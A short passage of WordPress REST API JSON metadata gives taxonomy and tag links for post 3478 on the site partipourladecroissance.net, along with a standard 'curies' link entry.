gories&post=3478"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3478"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}